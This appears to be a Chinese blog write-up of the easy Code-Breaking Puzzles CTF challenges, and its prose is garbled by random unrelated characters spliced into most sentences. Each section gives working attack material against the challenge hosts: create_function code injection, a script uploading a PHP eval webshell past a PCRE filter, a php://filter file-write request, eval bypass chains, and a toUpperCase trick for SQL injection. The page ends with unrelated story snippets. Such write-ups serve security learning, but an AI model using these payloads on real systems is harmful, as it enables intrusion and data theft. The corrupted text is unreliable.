Code-Breaking Puzzles easy學(xué)習(xí)篇

代碼審計(jì)知識(shí)星球二周年闽烙,P牛出了幾道質(zhì)量相當(dāng)賊很高的題目翅睛,個(gè)人實(shí)力比較菜,這里記錄一哈復(fù)現(xiàn)收獲黑竞,當(dāng)然也歡迎加入【代碼審計(jì)】知識(shí)星球捕发,一起進(jìn)步。
介紹具體可以看這里很魂。

題目鏈接

https://code-breaking.com/#promo-block

題目考點(diǎn)

1.function PHP函數(shù)利用技巧(create_function)
2.pcrewaf PHP正則特性
3.phpmagic PHP寫文件技巧
4.phplimit PHP代碼執(zhí)行限制繞過
5.nodechr Javascript字符串特性
6.javacon SPEL表達(dá)式沙盒繞過
7.lumenserial 反序列化在7.2下的利用
8.picklecode Python反序列化沙盒繞過
9.thejs Javascript對(duì)象特性利用

easy - function

提交:114扎酷, 正確:90
等級(jí):easy
所有代碼都在題目中。
puzzle url: http://51.158.75.42:8087/

題目環(huán)境

Apache/2.4.25 (Debian)
PHP/7.2.12
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);  //如果action只是由a-z0-9_組成的莫换,則顯示源碼
} else {
    $action('', $arg);  //題目意思是將action當(dāng)作方法霞玄,arg為傳入的參數(shù)執(zhí)行。
}

p牛在圈中針對(duì)這到題如下敘述
code-breaking puzzles第一題拉岁,function坷剧,為什么函數(shù)前面可以加一個(gè)%5c?奇技淫巧
其實(shí)簡單的不行喊暖,php里默認(rèn)命名空間是\惫企,所有原生函數(shù)和類都在這個(gè)命名空間中。普通調(diào)用一個(gè)函數(shù)陵叽,如果直接寫函數(shù)名function_name()調(diào)用狞尔,調(diào)用的時(shí)候其實(shí)相當(dāng)于寫了一個(gè)相對(duì)路徑;而如果寫\function_name() 這樣調(diào)用函數(shù)巩掺,則其實(shí)是寫了一個(gè)絕對(duì)路徑偏序。
如果你在其他namespace里調(diào)用系統(tǒng)類,就必須寫絕對(duì)路徑這種寫法胖替。

這里感覺和tp框架的命名開頭聲明類似

參考wp之后這里利用了create_function函數(shù)研儒,詳細(xì)情況可以參考這里
create_function('$a',$str2);
這里其實(shí)就是將獲取到的$a以字符串的形式拼接到了php代碼中豫缨,這里與eval這個(gè)函數(shù)類似。
然后照貓化虎制作如下paylaod

http://51.158.75.42:8087/?action=\create_function&arg=2;}phpinfo();/*

至于action=\create_function,P神前面已經(jīng)解釋的很清晰了端朵,命名空間問題好芭,而且這里正好可以繞過preg,剩下就很簡單了冲呢。
直接丟幾個(gè)paylaod

http://51.158.75.42:8087/?action=\create_function&arg=2;}print_r(scandir('../'));/*
http://51.158.75.42:8087/?action=\create_function&arg=2;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));/*

easy - pcrewaf

提交:73舍败, 正確:52
難度:easy
所有代碼都在URL里。
URL: http://51.158.75.42:8088/
題目環(huán)境

Apache/2.4.25 (Debian)
PHP/7.1.24
<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 1

這道題的難點(diǎn)就在于

if (is_php($data)) {
    echo "bad request";
}  //驗(yàn)證包含了所有正常的php代碼

preg_match的繞過可以參考這里

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
http://51.158.75.42:8088/data/62926ad520796d62d12812369d2908fb/9.php?a=print_r(scandir('../../../'));
http://51.158.75.42:8088/data/62926ad520796d62d12812369d2908fb/9.php?a=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));

這道題可以說收獲很大敬拓,也是第一次意識(shí)到如此preg_replace不安全

easy - phpmagic

提交:30邻薯, 正確:25
難度:easy
源碼:http://51.158.75.42:8082/index.php?read-source=1
URL: http://51.158.75.42:8082/

Apache/2.4.10 (Debian)
PHP/5.6.33
<?php
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);        
$domain   = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>

<?php 
if(!empty($_POST) && $domain):
$command  = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output   = shell_exec($command);
$output   = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

$log_name = $_SERVER['SERVER_NAME'] . $log_name;

if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; 
?>

這里php后綴使用php/.繞過,php在處理路徑的時(shí)候恩尾,會(huì)遞歸的刪除掉路徑中存在的/.

另外file_put_contents可以參考這里
base64解碼是4位4位一組弛说,如果base64編碼不是4的倍數(shù),就可以在/*后隨便添加點(diǎn)fuzz字符補(bǔ)齊就好翰意。
至于$_SERVER['SERVER_NAME']的偽造木人,這里直接就是傳遞的Host
最后的POC

POST / HTTP/1.1
Host: php
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Referer: http://51.158.75.42:8082/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

domain=PD89YG5sIC4uLy4uLy4uL2ZsYWdfcGhwbWFnMWNfdXIxYDsvKipzZGRk&log=://filter/write/convert.base64-decode/resource=test4.php/.

群里還有一種討論方法是apache的php%0a繞過。

easy - phplimit

提交:41冀偶, 正確:40
難度:easy
所有代碼都在頁面中醒第。
URL:http://51.158.75.42:8084/

nginx/1.15.6
PHP/5.6.38
 <?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

代碼很短,這里會(huì)把code最內(nèi)括號(hào)內(nèi)的內(nèi)容替換為空进鸠,利用難度還是很大的稠曼,這里分析一哈師傅們的奇淫技巧。

session_id

GET /?code=eval(hex2bin(session_id(session_start())));

PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b
#print_r(file_get_contents('../flag_phpbyp4ss'));

session_id用于獲取PHPSESSID的值
session_start()為使用當(dāng)前cookie中的會(huì)話
hex2bin則將16進(jìn)制轉(zhuǎn)換為二進(jìn)制客年,根據(jù)手冊(cè)霞幅,只是換了一種存儲(chǔ)方式,解決編碼轉(zhuǎn)換問題量瓜,本質(zhì)沒有變換司恳。

get_defined_vars

http://51.158.75.42:8084/
?code=eval(next(current(get_defined_vars())));
&b=print_r(scandir('../'));print_r(file_get_contents('../flag_phpbyp4ss'));

官方手冊(cè)描述如下:

array get_defined_vars ( void )
此函數(shù)返回一個(gè)包含所有已定義變量列表的多維數(shù)組,這些變量包括環(huán)境變量绍傲、服務(wù)器變量和用戶定義的變量扔傅。

這個(gè)函數(shù)感覺權(quán)限很大
current — 返回?cái)?shù)組中的當(dāng)前單元
next()current() 的行為類似,只有一點(diǎn)區(qū)別烫饼,在返回值之前將內(nèi)部指針向前移動(dòng)一位猎塞。這意味著它返回的是下一個(gè)數(shù)組單元的值并將數(shù)組指針向前移動(dòng)了一位。

arrary_reverse&scandir

code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

getcwd — 取得當(dāng)前工作目錄
dirname — 返回路徑中的目錄部分杠纵,給出一個(gè)包含有指向一個(gè)文件的全路徑的字符串荠耽,本函數(shù)返回去掉文件名后的目錄名。
chdir — 改變目錄
scandir — 列出指定路徑中的文件和目錄比藻,返回一個(gè) array铝量,包含有 directory 中的文件和目錄伊履。
array_reverse — 返回單元順序相反的數(shù)組款违,接受數(shù)組 array 作為輸入并返回一個(gè)單元為相反順序的新數(shù)組(只有兩個(gè)文件)群凶。

類似題目

這到題目與RCTF 2018的r-cursive(apache)類似插爹,環(huán)境不同。

easy - nodechr

提交:14请梢, 正確:13
難度:easy
源碼:http://51.158.73.123:8085/source
URL: http://51.158.73.123:8085/

// initial libraries
const Koa = require('koa')
const sqlite = require('sqlite')
const fs = require('fs')
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename

const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))

async function main() {
    const app = new Koa()
    const router = new Router()
    const db = await sqlite.open(':memory:')

    await db.exec(`CREATE TABLE "main"."users" (
        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        "username" TEXT NOT NULL,
        "password" TEXT,
        CONSTRAINT "unique_username" UNIQUE ("username")
    )`)
    await db.exec(`CREATE TABLE "main"."flags" (
        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        "flag" TEXT NOT NULL
    )`)
    for (let user of config.users) {
        await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
    }
    await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)

    router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)

    app.use(views(__dirname + '/views', {
        map: {
            html: 'underscore'
        },
        extension: 'html'
    })).use(bodyParser()).use(session(app))
    
    app.use(router.routes()).use(router.allowedMethods());
    
    app.keys = config.signed
    app.context.db = db
    app.context.router = router
    app.listen(3000)
}

function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}

async function login(ctx, next) {
    if(ctx.method == 'POST') {
        let username = safeKeyword(ctx.request.body['username'])
        let password = safeKeyword(ctx.request.body['password'])

        let jump = ctx.router.url('login')
        if (username && password) {
            let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

            if (user) {
                ctx.session.user = user

                jump = ctx.router.url('admin')
            }

        }

        ctx.status = 303
        ctx.redirect(jump)
    } else {
        await ctx.render('index')
    }
}

async function static(ctx, next) {
    await send(ctx, ctx.path)
}

async function admin(ctx, next) {
    if(!ctx.session.user) {
        ctx.status = 303
        return ctx.redirect(ctx.router.url('login'))
    }

    await ctx.render('admin', {
        'user': ctx.session.user
    })
}

async function source(ctx, next) {
    await send(ctx, basename(__filename))
}

main()

關(guān)鍵部分為

function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}

async function login(ctx, next) {
    if(ctx.method == 'POST') {
        let username = safeKeyword(ctx.request.body['username'])
        let password = safeKeyword(ctx.request.body['password'])
        let jump = ctx.router.url('login')
        if (username && password) {
            let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
......
}

這里先進(jìn)行safe赠尾,在進(jìn)行toUpperCase()。
當(dāng)然毅弧,關(guān)鍵點(diǎn)就在于toUpperCase()气嫁,這里可以參考這篇文章,同時(shí)也給出了fuzz的方法

"?".toUpperCase() == 'I'
"?".toUpperCase() == 'S'

之后就是很簡單的sql注入了够坐。

類似的題目

在剛剛過去的HCTF中admin題目寸宵,可以參考這里

感悟

作為一個(gè)萌新,學(xué)到了很多東西元咙,也學(xué)到了好多騷操作梯影。做安全還是應(yīng)該沉下心來,這里只記錄了easy的題目庶香,如果有理解不到位的地方甲棍,也非常歡迎指出,共同交流進(jìn)步赶掖。

參考

http://blog.51cto.com/lovexm/1743442
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
https://www.kingkk.com/2018/11/Code-Breaking-Puzzles-%E9%A2%98%E8%A7%A3-%E5%AD%A6%E4%B9%A0%E7%AF%87/#nodechr
https://www.cnblogs.com/iamstudy/articles/code_breaking_writeup.html
http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末感猛,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子奢赂,更是在濱河造成了極大的恐慌陪白,老刑警劉巖,帶你破解...
    沈念sama閱讀 219,427評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件呈驶,死亡現(xiàn)場離奇詭異拷泽,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)袖瞻,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,551評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門司致,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人聋迎,你說我怎么就攤上這事脂矫。” “怎么了霉晕?”我有些...
    開封第一講書人閱讀 165,747評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵庭再,是天一觀的道長捞奕。 經(jīng)常有香客問我,道長颅围,這世上最難降的妖魔是什么恨搓? 我笑而不...
    開封第一講書人閱讀 58,939評(píng)論 1 295
  • 正文 為了忘掉前任斧抱,我火速辦了婚禮,結(jié)果婚禮上弄抬,老公的妹妹穿的比我還像新娘宪郊。我一直安慰自己,他們只是感情好竹海,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,955評(píng)論 6 392
  • 文/花漫 我一把揭開白布斋配。 她就那樣靜靜地躺著灌闺,像睡著了一般桂对。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上逾柿,一...
    開封第一講書人閱讀 51,737評(píng)論 1 305
  • 那天机错,我揣著相機(jī)與錄音父腕,去河邊找鬼璧亮。 笑死斥难,一個(gè)胖子當(dāng)著我的面吹牛哑诊,可吹牛的內(nèi)容都是我干的及刻。 我是一名探鬼主播提茁,決...
    沈念sama閱讀 40,448評(píng)論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼茴扁,長吁一口氣:“原來是場噩夢(mèng)啊……” “哼峭火!你這毒婦竟也來了智嚷?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,352評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤稍浆,失蹤者是張志新(化名)和其女友劉穎衅枫,沒想到半個(gè)月后弦撩,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體益楼,經(jīng)...
    沈念sama閱讀 45,834評(píng)論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡点晴,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,992評(píng)論 3 338
  • 正文 我和宋清朗相戀三年俊扭,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片萨惑。...
    茶點(diǎn)故事閱讀 40,133評(píng)論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡庸蔼,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出花枫,到底是詐尸還是另有隱情,我是刑警寧澤劳翰,帶...
    沈念sama閱讀 35,815評(píng)論 5 346
  • 正文 年R本政府宣布佳簸,位于F島的核電站生均,受9級(jí)特大地震影響腥刹,放射性物質(zhì)發(fā)生泄漏衔峰。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,477評(píng)論 3 331
  • 文/蒙蒙 一邻吞、第九天 我趴在偏房一處隱蔽的房頂上張望抱冷。 院中可真熱鬧梢褐,春花似錦耿眉、人聲如沸鱼响。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,022評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽厌均。三九已至棺弊,卻和暖如春模她,著一層夾襖步出監(jiān)牢的瞬間懂牧,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,147評(píng)論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留拼弃,地道東北人吻氧。 一個(gè)月前我還...
    沈念sama閱讀 48,398評(píng)論 3 373
  • 正文 我出身青樓盯孙,卻偏偏與公主長得像祟滴,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子骑晶,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,077評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容

  • 自己做dede的開發(fā)時(shí)間也比較長了,基本上常用的函數(shù)都知道在哪個(gè)文件里面漫谷,但是時(shí)間一長,也有點(diǎn)模糊了电抚,俗話說:好記...
    大劉的英語世界閱讀 1,694評(píng)論 1 9
  • 第一部分 HTML&CSS整理答案 1. 什么是HTML5? 答:HTML5是最新的HTML標(biāo)準(zhǔn)肘迎。 注意:講述HT...
    kismetajun閱讀 27,489評(píng)論 1 45
  • 背景 一年多以前我在知乎上答了有關(guān)LeetCode的問題, 分享了一些自己做題目的經(jīng)驗(yàn)妓布。 張土汪:刷leetcod...
    土汪閱讀 12,747評(píng)論 0 33
  • 溫故而知新:學(xué)而不思則罔狰挡,思而不學(xué)則殆释涛。是最佳注腳。
    十年一井閱讀 99評(píng)論 0 0
  • 之二 走進(jìn)鐵佛寺鎮(zhèn)刷新了我們的視聽,誰說交通不便的大山里不可以辦工廠豫柬?誰說女子不如男烧给?仿如世外桃源...
    竹林聽溪_1805閱讀 357評(píng)論 0 1